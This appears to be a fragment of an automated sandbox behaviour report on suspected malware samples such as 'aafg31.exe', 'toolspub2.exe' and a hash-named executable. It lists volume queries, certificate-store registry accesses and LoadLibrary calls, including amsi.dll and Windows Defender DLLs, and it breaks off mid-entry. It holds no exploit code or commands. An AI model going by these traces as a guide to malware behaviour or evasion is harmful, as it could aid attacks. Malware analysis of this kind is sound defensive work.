"C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll" at 00000000-00005060-00000C15-51490252 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00005060-00000C15-51860980 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00005060-00000C15-51861111 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-52092589 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.16299.15.cat" at 00000000-00005060-00000C15-52143180 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-52216894 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll" at 00000000-00005060-00000C15-52291973 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-52333728 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-52407511 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-52580492 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll" at 00000000-00005060-00000C15-52948287 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-53068777 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-531842482f:T6df,"aafg31.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "aafg31.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "aafg31.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "")30:T707,"aafg31.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\67D147D5DAB7F28D663CA5B7A9568F087427B9F7"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A031C46782E6E6C662C2C87C76DA9AA62CCABD8E"; Key: "BLOB") "aafg31.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB")31:T62ae,".exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007196) ".exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007196) "aafg31.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter msvcrt (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter wininet (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00001296) "aafg31.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00001296) "toolspub2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006048) "toolspub2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006048) "toolspub2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006048) "toolspub2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006048) "toolspub2.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00006048) "toolspub2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006048) "toolspub2.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00006048) "toolspub2.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006048) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005024) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00005024) "latestplayer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007012) "latestplayer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007012) "latestplayer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007012) "latestplayer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007012) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005060) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005060) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00006044) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 